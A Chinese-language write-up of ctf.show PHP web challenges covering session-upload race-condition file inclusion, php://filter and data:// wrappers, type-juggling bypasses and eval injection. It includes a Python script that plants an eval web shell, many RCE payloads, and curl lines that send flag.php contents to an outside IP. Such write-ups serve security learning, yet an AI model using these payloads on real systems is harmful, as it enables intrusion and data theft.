3、同时,我们在cookie里面设置名字:PHPSESSID,值:flag,(目的是设置session文件,因为这样我们才能知道实时进度(一句话木马)上传到哪里了);那么在/tem/sess_flag这个文件的内容就为upload_progress_。然后在include(/tem/sess_flag)就会执行后面的php代码从而成功执行rce。

4、虽然文件上传结束后,php会清空session文件中的内容,但是如果我们边上传边去访问/tem/sess_aaa进行条件竞争,那么就有可能在删除session文件前访问到这个文件。

我们能够创建session文件的原因:session里有一个默认选项,session.use_strict_mode默认值为off。也就是说此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=aaa,PHP将会在服务器上创建一个文件:/tmp/sess_aaa”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值。这个键值ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_aaa文件里。
但是session.upload_progress.cleanup默认是开启的,一旦读取了所有POST数据,它就会清除进度信息,把我们session文件里的内容全部删除。所以这里我们需要利用条件竞争来读取session文件。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<body>
<form action="http://26bfc8ed-f28a-46ef-94a6-bbff5bb92e6b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

抓包,文件名称改为PHP_SESSION_UPLOAD_PROGRESS,PHPSESID改一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#-- coding:UTF-8 --

import io
import requests
import threading
url = 'http://616ed007-24be-4e42-9bc8-7fcbc8bfd49c.challenge.ctf.show/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/1.php','<?php eval($_POST[2]);?>');"
}

def write(session):
fileBytes=io.BytesIO(b'a' * 1024 * 50)
while True:
response=session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):
while True:
response = session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
cookies={
'PHPSESSID':sessionid
}
)
response2=session.get(url+'1.php')
if response2.status_code==200:
print('++++++++++++done++++++++++++')
else:
print(response2.status_code)

if __name__ == '__main__':
evnet=threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()

web-83

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Warning: session_destroy(): Trying to destroy uninitialized session
in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

include($file);
}else{
highlight_file(__FILE__);
}

分析:多了两个函数

session_unset():
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的session_id

session_destroy():
删除当前用户对应的session文件以及释放sessionid,内存中的$_SESSION变量内容依然保留, 也不会重置会话 cookie

表面上,按道理来说:这两个函数都已经将有关session的东西都删除了,我们是无法进行session文件包含的。但是:我们的脚本或者bp仍然能够进行包含。原因在于多线程竞争的含义

什么是多线程竞争

线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:

数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。

这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)直接也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。

怎么解决多线程竞争问题?—锁

锁的好处: 确保了某段关键代码(共享数据资源)只能由一个线程从头到尾完整地执行能解决多线程资 源竞争下的原子操作问题。

锁的坏处: 阻止了多线程并发执行,包含锁的某段代码实际上只能以单线程模式执行,效率就大大地下 降了

锁的致命问题: 死锁

web-84

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}

system 这句话会删除/tem/下面的所有文件,且不能恢复

-f:强制删除文件或目录;
-r或-R:递归处理,将指定目录下的所有文件与子目录一并处理;

还是web82的方法、同样的道理:多线程竞争理解

web-85*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}

}else{
highlight_file(__FILE__);
}

file_exists — 检查文件或目录是否存在,如果由指定的文件或目录存在则返回 true,否则返回 false。

file_get_contents — 将整个文件读入一个字符串,函数返回读取到的数据, 或者在失败时返回 false。

strpos — 查找字符串首次出现的位置,返回 needle 存在于 haystack 字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回 false。

还是web82的方法、同样的道理:多线程竞争理解

原因是:

session.upload_progress.cleanup = on(默认开启)

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容

我们在设置session文件后,被删除了,但是一个线程刚好进行if判断,文件存在,且文件内容为空,那么就会准备执行include,同时另一个线程刚好设置了完整的session文件,那么就会被包含进去。

web-86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);


}else{
highlight_file(__FILE__);
}

define — 定义一个常量

dirname:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点(’.’),表示当前目录。否则返回的是把 path 中结尾的/component(最后一个斜线以及后面部分)去掉之后的字符串。

set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false。

include

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。

还是web82的方法、同样的道理:多线程竞争理解

因为设置了目录/tmp/sess_flag,所以set_include_path对我们的脚本没有用。

web-87*

php://filter/write=convert.base64-decode/resource=daigua.php来绕过die,当被过滤时,只剩下phpdie,但是base64解码是4个一组,只需要前面加上两个字符凑足8位即可。、

1
http://b1d4b79d-b63f-4498-9652-ece261600b6c.challenge.ctf.show/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%34%25%36%31%25%36%39%25%36%37%25%37%35%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30
1
content=xxPD9waHAgc3lzdGVtKCJ0YWMgZioucGhwIik7Pz4=

然后访问daigua.php就行了。

利用rot13编码

条件:在PHP不开启short_open_tag(短标签)时

不管哪里都能看到p神的文章。

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

php://filter/write=string.rot13/resource=3.php

1
/?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30
1
content=<?cuc riny($_CBFG[1]);?>              //rot13偏移之后的

web-88

发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =

1
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg

web-116

一道misc加简单的文件包含

方法:下载视频,用binwalk打开(或者010editor),foremost分离,发现图片,提取源码,传参?file=flag.php,再下载视频用winhex打开即可(或者传参后用bp抓包)

web-117

php支持的字符编码

https://www.php.net/manual/zh/mbstring.supported-encodings.php

换个编码绕过exit而已。

/?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]1;)>?

1=system(‘cat f*.php’);

PHP特性

web-89

preg_match函数是用于完成字符串的正则匹配的函数,如果找到一个匹配的,就返回1,否则就返回0。

preg_match只能处理字符串,如果传入的值是数组的话,就会报错,从而返回false,绕过了正则匹配。

int intval ( mixed var , int [base] )第二个参数只有变量是字符串的时候才有用,var 可以是任何标量类型。

/?num[]=1

web-90

intval($num,0)===4476

对于intval函数,当我们输入的num的值为123a的时候,经过intval函数的转化,就变成了123

/?num=4476a

web-91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){ //m为多行匹配
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

要求:多行匹配php结尾,单行匹配不到php

那意思就是换行呗:/?cmd=%0aphp

web-92

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

要求:数值不能为4476,转为整数时要是4476

八或者十六进制绕过:/?num=0x117c

web-93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

要求:数值不为4476,不能包含字母,整型等于4476

八进制绕过:/?num=010574

web-94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){ //有0但是不是第一位
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

strpos() 函数返回字符串在另一个字符串中第一次出现的位置。

如果没有找到该字符串,则返回 false。

string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。

要求:数值不为4476,不能包含字母,不能为八进制,整形等于4476

我们可以使用小数,反正会被强转:/?num=4476.0

web-95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

要求:在上面的基础上,不能有点。

可以使用换行或者空格或者+号,再加上八进制来绕过。

1
2
3
4
5
6
/?num= 010574            //注意有空格
/?num=%20010574
/?num=%0a010574
/?num=+010574
/?num=%09010574
/?num=%2b010574

web-96

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

/?u=/var/www/html/flag.php
/?u=./flag.php

/?u=php://filter/read=convert.base64-encode/resource=flag.php

web-97

1
2
3
4
5
6
7
8
9
10
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

a与b的md5值 相同,我们直接去找找md5相同的就行。还有一种就是让俩md5都为空。传入数组,由于md5函数是无法处理函数的,所以当我们传入的值是数组的时候,会返回NULL,经过md5加密,得到了NULL,在经过强类型的判断,返回了TRUE。

a[]=1&b[]=2

web-98

1
2
3
4
5
6
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

&:了解引用的概念,比较简单。

/?yake=daigua

HTTP_FLAG=flag

web-99

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>

由于每次rand都是从1开始的,因此array数组中存在1的概率是非常大的,之后in_array($_GET[‘n’],$array),当传入的参数n的值为1.php时,假设array中压入了1。由于省略了第三个参数,存在弱类型比较,所以说1.php在比较的时候会强制转换为1,刚好array中存在着1.满足if条件,执行file_put_contents。

/?n=1.php

content=

1=system(‘tac flag36d.php’);

web-100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>

is_numeric() 函数用于检测变量是否为数字或数字字符串。PHP 版本要求:PHP 4, PHP 5, PHP 7

v0=1,就是说v1为纯数字或者字母,v2中不可以含有分号,但是v3中必须要有分号。

/?v1=1&v2=system(‘tac ctfshow.php’);&v3=;

使用反射类直接输出class ctfshow的信息

https://www.php.net/manual/zh/class.reflectionclass.php

/?v1=1&v2=echo new ReflectionClass&v3=;

因为flag在ctfhsow这个类中,所以我们可以构造出var_dump($ctfshow);

/?v1=1&v2=var_dump($ctfshow)&v3=;

把ox2d换成-,再套上flag{}即可,别忘了去掉flag_is_

web-101

/?v1=1&v2=echo new Reflectionclass&v3=;

替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位

web-102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>

v2为全字母或数字,从v2前两字符开始取,回调v1,作为v3文件的内容。

call_user_func:第一个参数作为回调函数使用

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

那么就很明显了,我们利用v1函数将v3写成php语句,然后放到一个文件中去执行。我们可以用base64去解吗?v1=base64-encode,显然是不可以的,因为这样不满足v2为纯数字。我们再套一层bin2hex,然后把v3改成php://filter/write=convert.base64-decode/resource=1.php,再套一层解码即可。

1
2
3
4
5
6
<?php
$a='<?=`cat *`;';
$b=base64-encode($a);//PD89YGNhdCAqYDs=
$c=bin2hex($b); //把base64编码之后的=去掉,再转换为16进制,结果是一样的
echo $c; //5044383959474e6864434171594473 结果中存在着e 会被当做是科学计数法
?>

/?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

v1=hex2bin

web-104

1
2
3
4
5
6
7
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

这。。。。。。原意应该是让我们用数组绕过,sha1解析不了返回false所以相同。

web-105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

变量覆盖,通过die($error);输出时,我们需要把suces变为flag

/?suces=flag

error=suces

直接跳过if(!($_POST[‘flag’]==$flag))

我们可以传多个get参数,使得flag=0

/?suces=flag&flag=0

web-106

/?v2[]=1

v1[]=2

  1. aaroZmOk
  2. aaK1STfY
  3. aaO8zKZF
  4. aa3OFF9m

这几个经过sha1之后都是0exxx的字符串,为科学计数法,值都为0

sha1碰撞

web-107

parse_str:如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

/?v3[]=1

v1=flag

1
2
3
/?v3=1
v1=flag=c4ca4238a0b923820dcc509a6f75849b
//1的md5值为 c4ca4238a0b923820dcc509a6f75849b
1
2
3
payload:
GET:?v3[]=1
POST:v1=1 #POST不传入flag就行,这样v2['flag']=NULL
1
2
3
GET: ?v3=240610708 
POST: v1=flag=0
//md5($v3)为0e开头的字符串,经过科学记数法之后等于0

web-108

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
1
2
3
4
5
strrev()返回 string 反转后的字符串
intval()函数遇到非数字字符就会停止识别, 877aa识别为877
ereg ( string $pattern , string $string , array &$regs = ? ) : int
以区分大小写的方式在 string 中寻找与给定的正则表达式 pattern 所匹配的子串。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,%00是空字符,不是空格什么的,是不可见字符

/?c=a%00778

ps:%00倒置后是不变的

web-109

1
2
3
4
/?v1=Exception();system('tac f*');//&v2=a
/?v1=Exception&v2=system("tac f*")

/?v1=ReflectionClass&v2=system('tac f*')

调用原生类,和上面有道题很像

web-110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>

符号全过滤了,调用获取目录文件和工作目录的原生类

/?v1=FilesystemIterator&v2=getcwd

web-111

/?v1=ctfshow&v2=GLOBALS

查看全局变量

web-112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
1
2
3
is_file  判断给定文件名是否为一个正常的文件,filename为文件的路径。
//is_file函数可以使用包装器伪协议来绕过,当is_file的参数为伪协议时,返回值为false
//不影响file_get_contents highlight_file
1
2
3
4
5
6
7
可以直接用不带任何过滤器的filter伪协议
/?file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
/?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
/?file=compress.zlib://flag.php //(这是读取压缩流)
/?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php //(这是两位一反转的读取方式)
/?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web-113

1
/?file=compress.zlib://flag.php

软连接绕过is_file(不是一个文件),软连接也可以绕过文件重复包含。

1
2
3
4
5
/?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web-114

没有过滤filter

/?file=php://filter/resource=flag.php

web-115

trim()去除字符串首尾处的空白字符(或者其他字符)、如果不指定第二个参数,将去除这些字符。

https://www.php.net/trim

1
2
3
4
5
6
7
8
9
<?php
for ($i=0; $i <128 ; $i++) {
$x=chr($i).'36';
if(is_numeric($x)===true){
echo urlencode(chr($i))."\n";
}
}

//输出%09 %0A %0B %0C %0D + %2B - . 0 1 2 3 4 5 6 7 8 9
1
2
3
4
5
6
7
8
9
<?php
for($i=0;$i<=128;$i++) {
$x=chr($i).'36';
if(trim($x)!=='36' &&is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}

//输出结果%0C %2B - . 0 1 2 3 4 5 6 7 8 9

除去被过滤的+ - . 只剩下%0c ,也就是换页符\f

绕过就在本地上跑一遍,看看能有什么符合条件

/?num=%0c36

web-123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

分析:第一个难搞的地方isset($_POST[‘CTF_SHOW.COM’])因为php变量命名(字母数字下划线)是不允许使用点号的

PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了

implode — 将一个一维数组的值转化为字符串

get_defined_vars — 返回由所有已定义变量所组成的数组

1
CTF[SHOW.COM=>CTF_SHOW.COM

fun=echo $flag&CTF_SHOW=1&CTF[SHOW.COM=1

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。

CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me

$_SERVER[‘argv’]的利用

http://www.360doc.com/content/18/0203/09/52553745_727370869.shtml

1
2
3
4
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项,设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果。这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]。$argv,$argc在web模式下不适用
1
2
3
因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING']
这时候我们只要通过 eval("$c".";");将$fl0g赋值为flag_give_me就可以了。获取查询语句,也就是?后面的语句所以我们只需要通过GET方式传入 赋值的语句$fl0g=flag_give_me;(注意不是fl0g而是$fl0g所以if语句条件是true)所以$a[0]= $_SERVER['QUERY_STRING']=($fl0g=flag_give_me);
eval("$c".";")=>eval(eval($a[0]);)=>eval(eval($fl0g=flag_give_me;);)所以成功将flag_give_me赋值给$fl0g,最后执行echo $flag;

/?$fl0g=flag_give_me;
CTF_SHOW=6&CTF[SHOW.COM=6&fun=eval($a[0])

/?a=1+fl0g=flag_give_me
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

可以用加号+进行分隔,从而使得$_SERVER[‘argv’]这个array不仅仅只有[0]。

大佬的总结说:

CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去

继续判断query string是否为空,

如果不为空把通过+符号分割的字符串转换成php内部的zend_string,

然后再把这个zend_string复制到 arr 数组中去。

这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果

再说一遍:parse_str — 将字符串解析成多个变量

web-125

嗝,没过滤var_export,怎么看都是非预期解。

fun=var_export(get_defined_vars())&CTF_SHOW=1&CTF[SHOW.COM=1

/?1=flag.php
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web-126

$_REQUEST — HTTP Request 变量:默认情况下包含了 $_GET$_POST$_COOKIE的数组。

/?0=var_export($GLOBALS);
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[0])

/?a=1+fl0g=flag_give_me
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

/?$fl0g=flag_give_me
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

assert — 检查断言是否为 false

web-127

由于php的变量名不能带点和空格,所以他们会被转换成下划线,但是这里过滤了.,所以使用空格

能够被解析成_的ascii为

1
, +(空格) . %5B _            //%5B:[

/?ctf show=ilove36d

web-128

/?f1=_&f2=get_defined_vars

web-129

一个简单的方法就是远程文件包含

/?f=../ctfshow/../../www/html/flag.php

?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web-130

f=ctfshow

f[]=1

web-131

呜呜呜,再次参考p神的文章~~~~~~~~~~~~~~~~~~~~~~~~~~~~

s修饰符:

s 特殊字符圆点 . 中包含换行符 \n 默认情况下的圆点 . 是 匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后, . 中包含换行符 \n。

PCRE回溯次数限制

.+?深悉正则(pcre)最大回溯/递归限制(非贪婪模式)本题

https://www.laruence.com/2010/06/08/1579.html

PHP利用PCRE回溯次数限制绕过某些安全限制(贪婪模式)

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

requests.post() 方法的使用

preg_match() 返回值有三种:

0 未匹配

1 匹配一次

FALSE 发生错误

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit

回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

1
2
3
4
5
6
7
import requests
url="http://6acb844d-5210-4093-a847-7a0ee4cd7b62.challenge.ctf.show/"
data={
'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web-132

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}

&&的优先度高于||

/?code=admin&username=admin&password=1

web-133

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");

但是因为我们传入的F为`$F `;sleep 3
所以把$F替换为`$F `;sleep 3

那么我们执行的就是
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了

无回显我们可以用反弹shell 或者curl外带 或者盲注

1
2
3
4
?F=`$F `;curl  http://公网ip:4567?p=`命令`
或者:
?F=`$F `;curl http://118.***.***.***/`tail -n 1 flag.php|base64`;
因为flag.php内容太多,直接get的话显示不全,而且会在传输过程中丢失一些字符,所以只读最后一行,然后base64加密。

没有公网ip的话,可以用bp,通过curl结合Burp带出flag.php

1
2
3
4
5
6
7
8
9
10
11
?F=`$F `;curl -X POST -F xx=@flag.php  http://aaa

//-X POST 指定 HTTP 请求的方法为 POST
